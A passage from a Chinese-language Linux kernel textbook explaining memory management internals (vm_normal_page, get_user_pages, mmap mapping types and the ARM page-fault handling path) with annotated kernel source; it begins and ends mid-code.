87   pte_unmap_unlock(ptep, ptl);
88   if (!pte_none(pte))
89        return NULL;
90   return no_page_table(vma, flags);
91}

第9行代码,检查pmd是否有效。

第12行代码,pte_offset_map_lock()宏通过PMD和地址addr获取pte页表项,这里还获取了一个spinlock锁,这个函数在返回时需要调用pte_unmap_unlock()来释放spinlock锁。

第14行代码,pte_present()判断pte页表中的L_PTE_PRESENT位是否置位,L_PTE_PRESENT标志位表示该页在内存中。

第15~30行代码处理页表不在内存中的情况。

第32行代码,如果分配掩码支持可写属性(FOLL_WRITE),但是pte的表项只具有只读属性,那么也返回NULL。

第37行代码,vm_normal_page()函数根据pte来返回normal mapping页面的struct page数据结构。

0 struct page *vm_normal_page(struct vm_area_struct *vma, unsigned long addr,
1                     pte_t pte)
2 {
3    unsigned long pfn = pte_pfn(pte);
4 
5    if (HAVE_PTE_SPECIAL) {
6         if (likely(!pte_special(pte)))
7              goto check_pfn;
8         if (vma->vm_ops && vma->vm_ops->find_special_page)
9              return vma->vm_ops->find_special_page(vma, addr);
10        if (vma->vm_flags & (VM_PFNMAP | VM_MIXEDMAP))
11             return NULL;
12        if (!is_zero_pfn(pfn))
13             print_bad_pte(vma, addr, pte, NULL);
14        return NULL;
15   }
16
17   /* !HAVE_PTE_SPECIAL case follows: */
18
19   if (unlikely(vma->vm_flags & (VM_PFNMAP|VM_MIXEDMAP))) {
20        if (vma->vm_flags & VM_MIXEDMAP) {
21             if (!pfn_valid(pfn))
22                   return NULL;
23             goto out;
24        } else {
25             unsigned long off;
26             off = (addr - vma->vm_start) >> PAGE_SHIFT;
27             if (pfn == vma->vm_pgoff + off)
28                   return NULL;
29             if (!is_cow_mapping(vma->vm_flags))
30                   return NULL;
31        }
32   }
33
34   if (is_zero_pfn(pfn))
35         return NULL;
36check_pfn:
37   if (unlikely(pfn > highest_memmap_pfn)) {
38        print_bad_pte(vma, addr, pte, NULL);
39        return NULL;
40   }
41
42   /*
43    * NOTE! We still have PageReserved() pages in the page tables.
44    * eg. VDSO mappings can cause them to exist.
45    */
46out:
47   return pfn_to_page(pfn);
48}

vm_normal_page()函数是一个很有意思的函数,它返回normal mapping页面的struct page数据结构,一些特殊映射的页面是不会返回struct page数据结构的,这些页面不希望被参与到内存管理的一些活动中,例如页面回收、页迁移和KSM等。HAVE_PTE_SPECIAL宏利用PTE页表项的空闲比特位来做一些有意思的事情,在ARM32架构的3级页表和ARM64的代码中会用到这个特性,而ARM32架构的2级页表里没有实现这个特性。

在ARM64中,定义了PTE_SPECIAL比特位,注意这是利用硬件上空闲的比特位来定义的。

[arch/arm64/include/asm/pgtable.h]

/*
 * Software defined PTE bits definition.
 */
#define PTE_VALID          (_AT(pteval_t, 1) << 0)
#define PTE_DIRTY          (_AT(pteval_t, 1) << 55)
#define PTE_SPECIAL (_AT(pteval_t, 1) << 56)
#define PTE_WRITE          (_AT(pteval_t, 1) << 57)
#define PTE_PROT_NONE     (_AT(pteval_t, 1) << 58) /* only when !PTE_VALID */

内核通常使用pte_mkspecial()宏来设置PTE_SPECIAL软件定义的比特位,主要用于有以下用途。

vm_normal_page()函数把page页面分为两个阵营,一个是normal page,另一个是special page。

(1)normal page通常指正常mapping的页面,例如匿名页面、page cache和共享内存页面等。

(2)special page通常指不正常mapping的页面,这些页面不希望参与内存管理的回收或者合并的功能,例如映射如下特性页面。

回到vm_normal_page()函数,第5~15行代码处理定义了HAVE_PTE_SPECIAL的情况,如果pte的PTE_SPECIAL比特位没有置位,那么跳转到check_pfn继续检查。如果vma的操作符定义了find_special_page函数指针,那么调用这个函数继续检查。如果vm_flags设置了(VM_PFNMAP | VM_MIXEDMAP),那么这是special mapping,返回NULL。

如果没有定义HAVE_PTE_SPECIAL,则第19~31行代码检查(VM_PFNMAP|VM_MIXEDMAP)的情况。remap_pfn_range()函数通常使用VM_PFNMAP比特位且vm_pgoff指向第一个PFN映射,所以我们可以使用如下公式来判断这种情况的special mapping。

(pfn_of_page == vma->vm_pgoff + ((addr - vma->vm_start) >> PAGE_SHIFT)

另一种情况是虚拟地址线性映射到pfn,如果映射是COW mapping(写时复制映射),那么页面也是normal映射。

第34~37行代码,如果zero page或pfn大于high memory的地址范围,则返回NULL,最后通过pfn_to_page()返回struct page数据结构实例。

回到follow_page_pte()函数,第37行代码返回normal maping页面的struct page数据结构。如果flags设置FOLL_GET,get_page_foll()会增加page的_count计数。flag设置FOLL_TOUCH时,需要标记page可访问,调用mark_page_accessed()函数设置page是活跃的,mark-page-accessed()函数是页面回收的核心辅助函数,最后返回page的数据结构。

回到__get_user_pages()的第41行代码,follow_page_mask()返回用户进程地址空间VMA中已经有映射过的normal mapping页面的struct page数据结构。如果没有返回page数据结构,那么调用faultin_page()函数,然后继续调用handle_mm_fault()来人为地触发一个缺页中断。handle_mm_fault()函数是缺页中断处理的核心函数,在后续章节中会详细介绍该函数。

分配完页面后,pages指针数组指向这些page,最后调用flush_anon_page()和flush_dcache_page()来flush这些页面对应的cache。

第68~79行代码,为下一次循环做准备。

回到__mm_populate()函数,程序运行到这里时已经为这块进程地址空间VMA分配了物理页面并建立好了映射关系。

对于使用C语言的同学来说,malloc函数是很经典的函数,使用起来也很简单便捷,可是内核实现并不简单。回到本章开头的问题,malloc函数其实是为用户空间分配进程地址空间,用内核术语来说就是分配一块VMA,相当于一个空的纸箱子。那什么时候才往纸箱子里装东西呢?有两种方式,一种是到了真正使用箱子的时候才往里面装东西,另一种是分配箱子的时候就装了你想要的东西。进程A里面的testA函数就是第一种情况,当使用这段内存时,CPU去查询页表,发现页表为空,CPU触发缺页中断,然后在缺页中断里一页一页地分配内存,需要一页给一页。进程B里面的testB函数,是第二种情况,直接分配已装满的纸箱子,你要的虚拟内存都已经分配了物理内存并建立了页表映射。

假设不考虑libc库的因素,malloc分配100Byte,那么内核会分配多少Byte呢?处理器的MMU硬件单元处理最小单元是页,所以内核分配内存、建立虚拟地址和物理地址映射关系都是以页为单位,PAGE_ALIGN(addr)宏让地址addr按页面大小对齐。

使用printf打印两个进程的malloc分配的虚拟地址是一样的,那么内核中这两个虚拟地址空间会打架吗?其实每个用户进程有自己的一份页表,mm_struct数据结构中有一个pgd成员指向这个页表的基地址,在fork新进程时会初始化一份页表。每个进程有一个mm_struct数据结构,包含一个属于进程自己的页表、一个管理VMA的红黑树和链表。进程本身的VMA会挂入属于自己的红黑树和链表,所以即使进程A和进程B使用malloc分配内存返回的相同的虚拟地址,但其实它们是两个不同的VMA,分别被不同的两套页表来管理。

如图2.16所示是mauoc函数的实现流程,malloc的实现还涉及内存管理中的几个重要函数。

图2.16 malloc函数的实现流程

(1)get_user_pages()函数。

用于把用户空间的虚拟内存空间传到内核空间,内核空间为其分配物理内存并建立相应的映射关系,实现过程如图2.17所示。例如,在camera驱动的V4L2核心架构中可以使用用户空间内存类型(V4L2_MEMORY_USERPTR)来分配物理内存,其驱动的实现使用的是get_user_pages()函数。

long get_user_pages(struct task_struct *tsk, struct mm_struct *mm,
         unsigned long start, unsigned long nr_pages, int write,
         int force, struct page **pages, struct vm_area_struct **vmas)

图2.17 get_user_pages()函数实现框图

(2)follow_page()函数。

通过虚拟地址addr寻找相应的物理页面,返回normal mapping页面对应的struct page数据结构,该函数会查询页表。

inline struct page *follow_page(struct vm_area_struct *vma,
          unsigned long address, unsigned int foll_flags)

(3)vm_normal_page()函数。

该函数由pte返回normal mapping的struct page数据结构,主要目的是过滤掉那些令人讨厌的special mapping的页面。

struct page *vm_normal_page(struct vm_area_struct *vma, unsigned long addr, pte_t pte)

上述是内存管理中最经典的3个函数,值得读者细细品味。

在阅读本章前请思考如下小问题。

#strace捕捉某个app调用mmap的情况
mmap(0x20000000, 819200, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x20000000

...

mmap(0x20000000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x20000000

mmap/munmap接口是用户空间最常用的一个系统调用接口,无论是在用户程序中分配内存、读写大文件、链接动态库文件,还是多进程间共享内存,都可以看到mmap/munmap的身影。mmap/munmap函数声明如下:

#include <sys/mman.h>

void *mmap(void *addr, size_t length, int prot, int flags,
           int fd, off_t offset);
int munmap(void *addr, size_t length);

prot参数通常表示映射页面的读写权限,可以有如下参数组合。

flags参数也是一个很重要的参数,有如下常见参数。

参数fd可以看出mmap映射是否和文件相关联,因此在Linux内核中映射可以分成匿名映射和文件映射。

最后根据文件关联性和映射区域是否共享等属性,又可以分成如下4种情况,见表2.1。

表2.1 mmap映射类型

映射类型
私有映射 共享映射
匿名映射 私有匿名映射–通常用于内存分配 共享匿名映射–通常用于进程间共享内存
文件映射 私有文件映射–通常用于加载动态库 共享文件映射–通常用于内存映射IO,进程间通讯

1.私有匿名映射

当使用参数fd=−1且flags= MAP_ANONYMOUS | MAP_PRIVATE时,创建的mmap映射是私有匿名映射。私有匿名映射最常见的用途是在glibc分配大块的内存中,当需要分配的内存大于MMAP_THREASHOLD(128KB)时,glibc会默认使用mmap代替brk来分配内存。

2.共享匿名映射

当使用参数fd=−1且flags= MAP_ANONYMOUS | MAP_SHARED时,创建的mmap映射是共享匿名映射。共享匿名映射让相关进程共享一块内存区域,通常用于父子进程之间通信。

创建共享匿名映射有如下两种方式。

(1)fd=−1且flags= MAP_ANONYMOUS | MAP_SHARED。在这种情况下,do_mmap_pgoff()->mmap_region()函数最终会调用shmem_zero_setup()来打开一个“/dev/zero”特殊的设备文件。

(2)另外一种是直接打开“/dev/zero”设备文件,然后使用这个文件句柄来创建mmap。

上述两种方式最终都是调用到shmem模块来创建共享匿名映射。

3.私有文件映射

创建文件映射时flags的标志位被设置为MAP_PRIVATE,那么就会创建私有文件映射。私有文件映射最常用的场景是加载动态共享库。

4.共享文件映射

创建文件映射时flags的标志位被设置为MAP_SHARED,那么就会创建共享文件映射。如果prot参数指定了PROT_WRITE,那么打开文件时需要指定O_RDWR标志位。共享文件映射通常有如下两个场景。

(1)读写文件。把文件内容映射到进程地址空间,同时对映射的内容做了修改,内核的回写机制(writeback)最终会把修改的内容同步到磁盘中。

(2)进程间通信。进程之间的进程地址空间相互隔离,一个进程不能访问到另外一个进程的地址空间。如果多个进程都同时映射到一个相同文件时,就实现了多进 程间的共享内存通信。如果一个进程对映射内容做了修改,那么另外的进程是可以看到的。

mmap机制在Linux内核中实现的代码框架和brk机制非常类似,其中有很多关于VMA的操作,在第2.7节中已经详细介绍过。mmap机制和缺页中断机制结合在一起会变得复杂很多。Dirty COW,这个在2016年被发现的最恐怖的内存漏洞就是利用了mmap和缺页中断的相关漏洞,学习这个例子有助于加深对mmap和缺页中断机制的理解,详见第2.18节。mmap机制在Linux内核中的代码流程如图2.18所示。

图2.18 mmap流程图

除了Dirty COW之外,下面收集了几个有意思的小问题。

问题1:请阅读Linux内核中mmap相关代码,找出第二次调用mmap会成功的原因?下面是strace抓取到的log信息:

#strace捕捉某个app调用mmap的情况
mmap(0x20000000, 819200, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x20000000

...

mmap(0x20000000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x20000000

这里以指定的地址0x20000000来建立一个私有的匿名映射,为什么第二次调用mmap时,Linux内核没有捕捉到地址重叠并返回失败呢?

查看mmap系统调用的代码实现,在do_mmap_pgoff()->mmap_region()函数里有如下一段代码:

[sys_mmap_pgoff()->vm_mmap_pgoff()->do_mmap_pgoff()->mmap_region()]

unsigned long mmap_region(struct file *file, unsigned long addr,
         unsigned long len, vm_flags_t vm_flags, unsigned long pgoff)
{
    ...
    /* Clear old maps */
    error = -ENOMEM;
munmap_back:
    if (find_vma_links(mm, addr, addr + len, &prev, &rb_link, &rb_parent)) {
          if (do_munmap(mm, addr, len))
               return -ENOMEM;
          goto munmap_back;
    }

    ...
    vma = kmem_cache_zalloc(vm_area_cachep, GFP_KERNEL);
    ...
}

这里再一次看到find_vma_links()函数,在第2.7节中讲述VMA操作时已经阅读过,这是一个非常重要的函数,下面再次来看这个函数。

static int find_vma_links(struct mm_struct *mm, unsigned long addr,
           unsigned long end, struct vm_area_struct **pprev,
           struct rb_node ***rb_link, struct rb_node **rb_parent)
{
     struct rb_node **__rb_link, *__rb_parent, *rb_prev;
     __rb_link = &mm->mm_rb.rb_node;
     rb_prev = __rb_parent = NULL;

     while (*__rb_link) {
          struct vm_area_struct *vma_tmp;

          __rb_parent = *__rb_link;
          vma_tmp = rb_entry(__rb_parent, struct vm_area_struct, vm_rb);

          if (vma_tmp->vm_end > addr) {
 /* Fail if an existing vma overlaps the area */
 if (vma_tmp->vm_start < end)
 return -ENOMEM;
               __rb_link = &__rb_parent->rb_left;
          } else {
               rb_prev = __rb_parent;
               __rb_link = &__rb_parent->rb_right;
          }
     }

     ...
     return 0;
}

find_vma_links()函数会遍历该进程中所有的VMAs,当检查到当前要映射的区域和已有的VMA有些许的重叠时,该函数都返回-ENOMEM,然后在mmap_region()函数里调用do_munmap()函数,把这段将要映射区域先销毁,然后重新映射,这就是第二次映射同样的地址并没有返回错误的原因。

问题2:在一个播放系统中同时打开几十个不同的高清视频文件,发现播放有些卡顿,打开视频文件是用mmap函数,请简单分析原因。

使用mmap来创建文件映射时,由于只建立了进程地址空间VMA,并没有马上分配page cache和建立映射关系。因此当播放器真正读取文件时,产生了缺页中断才去读取文件内容到page cache中。这样每次播放器真正读取文件时,会频繁地发生缺页中断,然后从文件中读取磁盘内容到page cache中,导致磁盘读性能比较差,从而造成播放视频的卡顿。

有些读者认为在创建mmap映射之后调用madvise(add, len, MADV_WILLNEED | MADV_SEQUENTIAL)可能会对文件内容提前进行了预读和顺序,读所有利于改善磁盘读性能,但实际情况是:

对于问题2,能够有效提高流媒体服务I/O性能的方法是增大内核的默认预读窗口,现在内核默认预读的大小是128KB,可以通过“blockdev --setra”命令来修改。

在之前介绍malloc()和mmap()两个用户态API函数的内核实现时,我们发现它们只建立了进程地址空间,在用户空间里可以看到虚拟内存,但没有建立虚拟内存和物理内存之间的映射关系。当进程访问这些还没有建立映射关系的虚拟内存时,处理器自动触发一个缺页异常(也称为“缺页中断”),Linux内核必须处理此异常。缺页异常是内存管理当中最复杂和重要的一部分,需要考虑很多的细节,包括匿名页面、KSM页面、page cache页面、写时复制、私有映射和共享映射等。

缺页异常处理依赖于处理器的体系结构,因此缺页异常底层的处理流程在内核代码中特定体系结构的部分。下面以ARMv7为例来介绍底层缺页异常处理的过程。

当在数据访问周期里进行存储访问时发生异常,基于ARMv7-A架构的处理器会跳转到异常向量表中的Data abort向量中。Data abort的底层汇编处理和irq中断相似,有兴趣的读者可以阅读第5.1.4节。汇编处理流程为__vectors_start -> vector_dabt -> __dabt_usr/__dabt_svc -> dabt_helper -> v7_early_abort,我们从v7_early_abort开始介绍。

< arch/arm/mm/abort-ev7.S>ENTRY(v7_early_abort)
      mrc     p15, 0, r1, c5, c0, 0        @ get FSR
      mrc     p15, 0, r0, c6, c0, 0        @ get FAR

 b do_DataAbort
ENDPROC(v7_early_abort) 

ARM的MMU中有如下两个与存储访问失效相关的寄存器[6]

当发生存储访问失效时,失效状态寄存器FSR会反映所发生的存储失效的相关信息,包括存储访问所属域和存储访问类型等,同时失效地址寄存器会记录访问失效的虚拟地址。汇编函数v7_early_abort通过协处理器的寄存器c5和c6读取出FSR和FAR寄存器后,直接调用C语言的do_DataAbort()函数。

0 asmlinkage void __exception
1 do_DataAbort(unsigned long addr, unsigned int fsr, struct pt_regs *regs)
2 {
3   const struct fsr_info *inf = fsr_info + fsr_fs(fsr);
4   struct siginfo info;
5 
6   if (!inf->fn(addr, fsr & ~FSR_LNX_PF, regs))
7         return;
8   ...
9 }

首先struct fsr_info数据结构用于描述一条失效状态对应的处理方案。

struct fsr_info {
     int  (*fn)(unsigned long addr, unsigned int fsr, struct pt_regs *regs);
     int  sig;
     int  code;
     const char *name;
};

其中,name成员表示这条失效状态的名称,sig表示处理失败时Linux内核要发送的信号类型,fn表示修复这条失效状态的函数指针。

0 static struct fsr_info fsr_info[] = {
1    { do_bad,   SIGSEGV, 0,    "vector exception"      },
2    { do_bad,   SIGBUS,  BUS_ADRALN,    "alignment exception"    },
3    { do_bad,   SIGKILL, 0,    "terminal exception"        },
4    { do_bad,   SIGBUS, BUS_ADRALN,  "alignment exception"        },
5    { do_bad,   SIGBUS, 0,    "external abort on linefetch"   },
6    { do_translation_fault, SIGSEGV, SEGV_MAPERR,  "section translation fault"    },
7    { do_bad,   SIGBUS, 0,    "external abort on linefetch"    },
8    { do_page_fault, SIGSEGV, SEGV_MAPERR,"page translation fault" },
9    { do_bad,   SIGBUS,  0,     "external abort on non-linefetch"  },
10   { do_bad,   SIGSEGV, SEGV_ACCERR,   "section domain fault"    },
11   { do_bad,   SIGBUS,  0,     "external abort on non-linefetch"  },
12   { do_bad,   SIGSEGV, SEGV_ACCERR,     "page domain fault"   },
13   { do_bad,   SIGBUS,  0,     "external abort on translation"  },
14   { do_sect_fault,  SIGSEGV, SEGV_ACCERR,  "section permission fault"},
15   { do_bad,   SIGBUS,  0,     "external abort on translation"  },
16   { do_page_fault, SIGSEGV, SEGV_ACCERR,"page permission fault" },
17   ...
18};

fsr_info[ ]数组列出了常见的地址失效处理方案,以页面转换失效(page translation fault)和页面访问权限失效为例,它们最终的解决方案是调用do_page_fault()来修复。

缺页中断处理的核心函数是do_page_fault(),该函数的实现和具体的体系结构相关。

[arch/arm/mm/fault.c]

0  static int __kprobes
1  do_page_fault(unsigned long addr, unsigned int fsr, struct pt_regs *regs)
2  {
3   struct task_struct *tsk;
4   struct mm_struct *mm;
5   int fault, sig, code;
6   unsigned int flags = FAULT_FLAG_ALLOW_RETRY | FAULT_FLAG_KILLABLE;
7  
8   tsk = current;
9   mm  = tsk->mm;
10 
11  /* Enable interrupts if they were enabled in the parent context. */
12  if (interrupts_enabled(regs))
13        local_irq_enable();
14 
15  /*
16   * If we're in an interrupt or have no user
17   * context, we must not take the fault..
18   */
19  if (in_atomic() || !mm)
20        goto no_context;
21 
22  if (user_mode(regs))
23       flags |= FAULT_FLAG_USER;
24  if (fsr & FSR_WRITE)
25        flags |= FAULT_FLAG_WRITE;
26 
27  /*
28   * As per x86, we may deadlock here.  However, since the kernel only
29   * validly references user space from well defined areas of the code,
30   * we can bug out early if this is from code which shouldn't.
31   */
32  if (!down_read_trylock(&mm->mmap_sem)) {
33        if (!user_mode(regs) && !search_exception_tables(regs->ARM_pc))
34              goto no_context;
35 retry:
36       down_read(&mm->mmap_sem);
37  } else {
38       /*
39        * The above down_read_trylock() might have succeeded in
40        * which case, we'll have missed the might_sleep() from
41        * down_read()
42       */
43       might_sleep();
44  }
45 
46  fault = __do_page_fault(mm, addr, fsr, flags, tsk);
47 

do_page_fault()函数很长,下面分段来阅读。

第19行代码,in_atomic()判断当前状态是否处于中断上下文或禁止抢占状态,如果是,说明系统运行在原子上下文中(atomic context),那么跳转到no_context 标签处的__do_kernel_fault()函数。如果当前进程中没有struct mm_struct数据结构,说明这是一个内核线程,同样跳转到__do_kernel_fault()函数中。

第22行代码,如果是用户模式,那么flags置位FAULT_FLAG_USER。

第32行代码,down_read_trylock()函数判断当前进程的mm->mmap_sem读写信号量是否可以获取,返回1则表示成功获得锁,返回0则表示锁已被别人占用。mm->mmap_sem锁被别人占用时要区分两种情况,一种是发生在内核空间,另外一种是发生在用户空间。发生在用户空间的情况可以调用down_read()来睡眠等待锁持有者释放该锁;发生在内核空间时,如果没有在exception tables查询到该地址,那么跳转到no_context 标签处的__do_kernel_fault()函数。

第46行代码调用__do_page_fault()函数,和do_page_fault()定义在同一个文件中。

[do_page_fault()->__do_page_fault()]

0 static int __kprobes
1 __do_page_fault(struct mm_struct *mm, unsigned long addr, unsigned int fsr,
2      unsigned int flags, struct task_struct *tsk)
3 {
4   struct vm_area_struct *vma;
5   int fault;
6 
7   vma = find_vma(mm, addr);
8   fault = VM_FAULT_BADMAP;
9   if (unlikely(!vma))
10       goto out;
11  if (unlikely(vma->vm_start > addr))
12       goto check_stack;
13
14  /*
15   * Ok, we have a good vm_area for this
16   * memory access, so we can handle it.
17   */
18good_area:
19  if (access_error(fsr, vma)) {
20       fault = VM_FAULT_BADACCESS;
21       goto out;
22  }
23
24  return handle_mm_fault(mm, vma, addr & PAGE_MASK, flags);
25
26check_stack:
27  /* Don't allow expansion below FIRST_USER_ADDRESS */
28  if (vma->vm_flags & VM_GROWSDOWN &&
29       addr >= FIRST_USER_ADDRESS && !expand_stack(vma, addr))
30        goto good_area;
31out:
32  return fault;
33}

__do_page_fault()函数首先通过失效地址addr来查找vma,如果find_vma()找不到vma,说明addr地址还没有在进程地址空间中,返回VM_FAULT_BADMAP错误。

第19~22行代码,access_error()判断vma是否具备可写或可执行等权限。如果发生一个写错误的缺页中断,首先判断vma属性是否具有可写属性,如果没有,则返回VM_FAULT_BADACCESS错误。

最后调用handle_mm_fault()函数,它是缺页中断的核心处理函数,下文会详细介绍。

下面继续来看do_page_fault()函数。

[do_page_fault()]

…
48  /* If we need to retry but a fatal signal is pending, handle the
49   * signal first. We do not need to release the mmap_sem because
50   * it would already be released in __lock_page_or_retry in
51   * mm/filemap.c. */
52  if ((fault & VM_FAULT_RETRY) && fatal_signal_pending(current))
53        return 0;
54 
55  /*
56   * Major/minor page fault accounting is only done on the
57   * initial attempt. If we go through a retry, it is extremely
58   * likely that the page will be found in page cache at that point.
59   */
60 
61  perf_sw_event(PERF_COUNT_SW_PAGE_FAULTS, 1, regs, addr);
62  if (!(fault & VM_FAULT_ERROR) && flags & FAULT_FLAG_ALLOW_RETRY) {
63        if (fault & VM_FAULT_MAJOR) {
64            tsk->maj_flt++;
65            perf_sw_event(PERF_COUNT_SW_PAGE_FAULTS_MAJ, 1,
66                    regs, addr);
67        } else {
68             tsk->min_flt++;
69             perf_sw_event(PERF_COUNT_SW_PAGE_FAULTS_MIN, 1,
70                     regs, addr);
71        }
72        if (fault & VM_FAULT_RETRY) {
73              /* Clear FAULT_FLAG_ALLOW_RETRY to avoid any risk
74              * of starvation. */
75              flags &= ~FAULT_FLAG_ALLOW_RETRY;
76              flags |= FAULT_FLAG_TRIED;
77              goto retry;
78        }
79  }
80 
81  up_read(&mm->mmap_sem);
82 
83  /*
84   * Handle the "normal" case first - VM_FAULT_MAJOR / VM_FAULT_MINOR
85   */
86  if (likely(!(fault & (VM_FAULT_ERROR | VM_FAULT_BADMAP | VM_FAULT_BADACCESS))))
87  return 0;
88 
89  /*
90   * If we are in kernel mode at this point, we
91   * have no context to handle this fault with.
92   */
93  if (!user_mode(regs))
94        goto no_context;
95 
96  if (fault & VM_FAULT_OOM) {
97       /*
98        * We ran out of memory, call the OOM killer, and return to
99        * userspace (which will retry the fault, or kill us if we
100       * got oom-killed)
101       */
102      pagefault_out_of_memory();
103      return 0;
104 }
105
106 if (fault & VM_FAULT_SIGBUS) {
107      /*
108       * We had some memory, but were unable to
109       * successfully fix up this page fault.
110       */
111      sig = SIGBUS;
112      code = BUS_ADRERR;
113 } else {
114      /*
115       * Something tried to access memory that
116       * isn't in our memory map..
117       */
118      sig = SIGSEGV;
119      code = fault == VM_FAULT_BADACCESS ?
120          SEGV_ACCERR : SEGV_MAPERR;
121 }
122
123 __do_user_fault(tsk, addr, fsr, sig, code, regs);
124 return 0;
125
126no_context:
127 __do_kernel_fault(mm, addr, fsr, regs);
128 return 0;
129}

__do_page_fault()函数返回值通常用VM_FAULT类型来表示,它们定义在include/linux/ mm.h文件中。

[include/linux/mm.h]

#define VM_FAULT_MINOR 0 /* For backwards compat. Remove me quickly. */
#define VM_FAULT_OOM   0x0001
#define VM_FAULT_SIGBUS    0x0002
#define VM_FAULT_MAJOR 0x0004
#define VM_FAULT_WRITE 0x0008     /* Special case for get_user_pages */
#define VM_FAULT_HWPOISON 0x0010     /* Hit poisoned small page */
#define VM_FAULT_HWPOISON_LARGE 0x0020  /* Hit poisoned large page. Index encoded in upper bits */
#define VM_FAULT_SIGSEGV 0x0040

#define VM_FAULT_NOPAGE    0x0100 /* ->fault installed the pte, not return page */
#define VM_FAULT_LOCKED    0x0200 /* ->fault locked the returned page */
#define VM_FAULT_RETRY     0x0400 /* ->fault blocked, must retry */
#define VM_FAULT_FALLBACK 0x0800  /* huge page fault failed, fall back to small */

#define VM_FAULT_HWPOISON_LARGE_MASK 0xf000 /* encodes hpage index for large hwpoison */

#define VM_FAULT_ERROR     (VM_FAULT_OOM | VM_FAULT_SIGBUS | VM_FAULT_SIGSEGV | \
           VM_FAULT_HWPOISON | VM_FAULT_HWPOISON_LARGE | \
           VM_FAULT_FALLBACK) 

第86行代码,如果没有返回(VM_FAULT_ERROR | VM_FAULT_BADMAP | VM_FAULT_BADACCESS)错误类型,那么说明缺页中断就处理完成。

第93行代码,__do_page_fault()函数返回错误且当前处于内核模式,那么跳转到__do_kernel_fault()来处理。如果错误类型是VM_FAULT_OOM,说明当前系统没有足够的内存,那么调用pagefault_out_of_memory()函数来触发OOM机制。最后调用__do_user_fault()来给用户进程发信号,因为这时内核已经无能为力了。__do_user_fault()函数实现代码如下:

[do_page_fault()->__do_user_fault()]

static void
__do_user_fault(struct task_struct *tsk, unsigned long addr,
        unsigned int fsr, unsigned int sig, int code,
        struct pt_regs *regs)
{
    struct siginfo si;

    tsk->thread.address = addr;
    tsk->thread.error_code = fsr;
    tsk->thread.trap_no = 14;
    si.si_signo = sig;
    si.si_errno = 0;
    si.si_code = code;
    si.si_addr = (void __user *)addr;
 force_sig_info(sig, &si, tsk);
}

错误发生在内核模式,如果内核无法处理,那么只能调用__dokernel_fault函数来发送Oops错误。\_do_kernel_fault()函数实现代码如下:

[do_page_fault()->__do_kernel_fault()]

static void
__do_kernel_fault(struct mm_struct *mm, unsigned long addr, unsigned int fsr,
         struct pt_regs *regs)
{
    /*
     * Are we prepared to handle this kernel fault?
     */
    if (fixup_exception(regs))
          return;

    /*
     * No handler, we'll have to terminate things with extreme prejudice.
     */
    bust_spinlocks(1);
    pr_alert("Unable to handle kernel %s at virtual address %08lx\n",
         (addr < PAGE_SIZE) ? "NULL pointer dereference" :
         "paging request", addr);

    show_pte(mm, addr);
    die("Oops", regs, fsr);
    bust_spinlocks(0);
    do_exit(SIGKILL);
}

handle_mm_fault()函数的核心处理是__handle_mm_fault(),它的实现在mm/memory.c文件中。

[mm/memory.c]

0 static int __handle_mm_fault(struct mm_struct *mm, struct vm_area_struct *vma,
1                 unsigned long address, unsigned int flags)
2 {
3   pgd_t *pgd;
4   pud_t *pud;
5   pmd_t *pmd;
6   pte_t *pte;
7 
8   pgd = pgd_offset(mm, address);
9   pud = pud_alloc(mm, pgd, address);
10  if (!pud)
11        return VM_FAULT_OOM;
12  pmd = pmd_alloc(mm, pud, address);
13  if (!pmd)
14        return VM_FAULT_OOM;
15
16  pmd_t orig_pmd = *pmd;
17  int ret;
18
19  barrier();
20  
21  /*
22   * Use __pte_alloc instead of pte_alloc_map, because we can't
23   * run pte_offset_map on the pmd, if an huge pmd could
24   * materialize from under us from a different thread.
25   */
26  if (unlikely(pmd_none(*pmd)) &&
27       unlikely(__pte_alloc(mm, vma, pmd, address)))
28        return VM_FAULT_OOM;
29  
30  /*
31   * A regular pmd is established and it can't morph into a huge pmd
32   * from under us anymore at this point because we hold the mmap_sem
33   * read mode and khugepaged takes it in write mode. So now it's
34   * safe to run pte_offset_map().
35   */
36  pte = pte_offset_map(pmd, address);
37
38  return handle_pte_fault(mm, vma, address, pte, pmd, flags);
39}

第8行代码,pgd_offset(mm, addr)宏获取addr对应在当前进程页表的PGD页面目录项。

第9行代码,pud_alloc(mm, pgd, address)宏获取对应的PUD表项,如果PUD表项为空,则返回VM_FAULT_OOM错误。

第12行代码,用同样的方法获取pmd表项。

第36行代码,pte_offset_map()函数获取对应的pte表项,然后跳转到handle_pte_fault()中。

[do_page_fault()->handle_mm_fault()->__handle_mm_fault()->handle_pte_fault()]

0 static int handle_pte_fault(struct mm_struct *mm,
1              struct vm_area_struct *vma, unsigned long address,
2              pte_t *pte, pmd_t *pmd, unsigned int flags)
3 {
4    pte_t entry;
5    spinlock_t *ptl;
6 
7    /*
8     * some architectures can have larger ptes than wordsize,
9     * e.g.ppc44x-defconfig has CONFIG_PTE_64BIT=y and CONFIG_32BIT=y,
10    * so READ_ONCE or ACCESS_ONCE cannot guarantee atomic accesses.
11    * The code below just needs a consistent view for the ifs and
12    * we later double check anyway with the ptl lock held. So here
13    * a barrier will do.
14    */
15   entry = *pte;
16   barrier();
17   if (!pte_present(entry)) {
18         if (pte_none(entry)) {
19               if (vma->vm_ops) {
20                     if (likely(vma->vm_ops->fault))
21                            return do_fault(mm, vma, address, pte,
22                                     pmd, flags, entry);
23               }
24               return do_anonymous_page(mm, vma, address,
25                             pte, pmd, flags);
26         }
27         return do_swap_page(mm, vma, address,
28                      pte, pmd, flags, entry);
29   }
30
31   ptl = pte_lockptr(mm, pmd);
32   spin_lock(ptl);
33   if (unlikely(!pte_same(*pte, entry)))
34         goto unlock;
35   if (flags & FAULT_FLAG_WRITE) {
36         if (!pte_write(entry))
37               return do_wp_page(mm, vma, address,
38                        pte, pmd, ptl, entry);
39         entry = pte_mkdirty(entry);
40   }
41   entry = pte_mkyoung(entry);
42   if (ptep_set_access_flags(vma, address, pte, entry, flags & FAULT_FLAG_WRITE)) {
43        update_mmu_cache(vma, address, pte);
44   } else {
45        /*
46         * This is needed only for protection faults but the arch code
47         * is not yet telling us if this is a protection fault or not.
48         * This still avoids useless tlb flushes for .text page faults
49         * with threads.
50         */
51        if (flags & FAULT_FLAG_WRITE)
